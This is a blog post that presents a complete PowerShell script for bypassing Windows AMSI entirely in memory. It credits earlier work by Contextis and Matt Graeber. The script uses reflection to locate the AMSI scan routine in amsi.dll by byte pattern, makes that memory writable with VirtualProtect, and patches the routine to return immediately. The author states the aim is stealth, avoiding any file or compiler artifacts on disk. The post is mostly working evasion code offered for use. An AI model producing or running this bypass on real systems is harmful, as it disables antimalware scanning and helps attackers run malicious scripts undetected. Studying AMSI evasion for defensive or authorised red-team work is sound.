Using Reflection for AMSI Bypass
Converting an already available AMSI Bypass to FULL in memory AMSI Bypass

Already Existing Bypass and the Issue

I was reading for the AMSI Bypasses and found the Bypass documented by Contextis at https://www.contextis.com/en/blog/amsi-bypass. Now everything as good here with the bypass except one problem. The problem is that the bypass is using Add-Type . Whenever you use Add-Type, the code gets written to a temporary file and then csc.exe is used to compile a binary which stays on disk. This creates a problem when you want to stay stealthy and don't want to write any artifact on disk.
PowerShell writing to disk
Once Powershell Writes the script on disk, CSC then compiles it
CSC.exe compiling the script

Solution: Reflection

Matt Graeber in his post on exploit-monday.com go into great detail on how to use reflection for accessing Win32 API . Please refer to blog post to understand how Reflection works.

Modified Script

After using Reflection here is the Modified Script to Bypass AMSI.
1
Write-Host "-- AMSI Patch"
2
Write-Host "-- Modified By: Shantanu Khandelwal (@shantanukhande)"
3
Write-Host "-- Original Author: Paul Laรฎnรฉ (@am0nsec)"
4
Write-Host ""
5
โ€‹
6
Class Hunter {
7
static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
8
while ($true) {
9
[int]$count = 0
10
โ€‹
11
while ($true) {
12
[IntPtr]$address = [IntPtr]::Add($address, 1)
13
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
14
$count++
15
If ($count -eq $egg.Length) {
16
return [IntPtr]::Subtract($address, $egg.Length - 1)
17
}
18
} Else { break }
19
}
20
}
21
โ€‹
22
return $address
23
}
24
}
25
function Get-ProcAddress {
26
Param(
27
[Parameter(Position = 0, Mandatory = $True)] [String] $Module,
28
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
29
)
30
โ€‹
31
# Get a reference to System.dll in the GAC
32
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
33
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
34
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
35
# Get a reference to the GetModuleHandle and GetProcAddress methods
36
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
37
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
38
# Get a handle to the module specified
39
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
40
$tmpPtr = New-Object IntPtr
41
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
42
# Return the address of the function
43
return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
44
}
45
function Get-DelegateType
46
{
47
Param
48
(
49
[OutputType([Type])]
50
51
[Parameter( Position = 0)]
52
[Type[]]
53
$Parameters = (New-Object Type[](0)),
54
55
[Parameter( Position = 1 )]
56
[Type]
57
$ReturnType = [Void]
58
)
59
โ€‹
60
$Domain = [AppDomain]::CurrentDomain
61
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
62
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
63
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
64
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
65
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
66
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
67
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
68
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
69
70
Write-Output $TypeBuilder.CreateType()
71
}
72
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
73
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
74
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
75
$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
76
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
77
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
78
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
79
$VistualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
80
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VistualProtectDelegate)
81
โ€‹
82
โ€‹
83
If ([IntPtr]::Size -eq 8) {
84
Write-Host "[+] 64-bits process"
85
[byte[]]$egg = [byte[]] (
86
0x4C, 0x8B, 0xDC, # mov r11,rsp
87
0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx
88
0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp
89
0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi
90
0x57, # push rdi
91
0x41, 0x56, # push r14
92
0x41, 0x57, # push r15
93
0x48, 0x83, 0xEC, 0x70 # sub rsp,70h
94
)
95
} Else {
96
Write-Host "[+] 32-bits process"
97
[byte[]]$egg = [byte[]] (
98
0x8B, 0xFF, # mov edi,edi
99
0x55, # push ebp
100
0x8B, 0xEC, # mov ebp,esp
101
0x83, 0xEC, 0x18, # sub esp,18h
102
0x53, # push ebx
103
0x56 # push esi
104
)
105
}
106
โ€‹
107
โ€‹
108
$hModule = $LoadLibrary.Invoke("amsi.dll")
109
Write-Host "[+] AMSI DLL Handle: $hModule"
110
$DllGetClassObjectAddress = $GetProcAddress.Invoke($hModule, "DllGetClassObject")
111
Write-Host "[+] DllGetClassObject address: $DllGetClassObjectAddress"
112
[IntPtr]$targetedAddress = [Hunter]::FindAddress($DllGetClassObjectAddress, $egg)
113
Write-Host "[+] Targeted address: $targetedAddress"
114
โ€‹
115
$oldProtectionBuffer = 0
116
$VirtualProtect.Invoke($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null
117
โ€‹
118
$patch = [byte[]] (
119
0x31, 0xC0, # xor rax, rax
120
0xC3 # ret
121
)
122
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)
123
โ€‹
124
$a = 0
125
$VirtualProtect.Invoke($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null
Copied!
The script can also be downloaded from this gist https://gist.github.com/shantanu561993/6483e524dc225a188de04465c8512909โ€‹
The advantage of using reflection is that there is no Temporary file and no calls to csc which allows the script to stay fully in memory.
No Temporary files by powershell and no CSC.exe compilation .
This means the bypass is full in memory which is the end result. :)

Credits

โ€‹
Last modified 10mo ago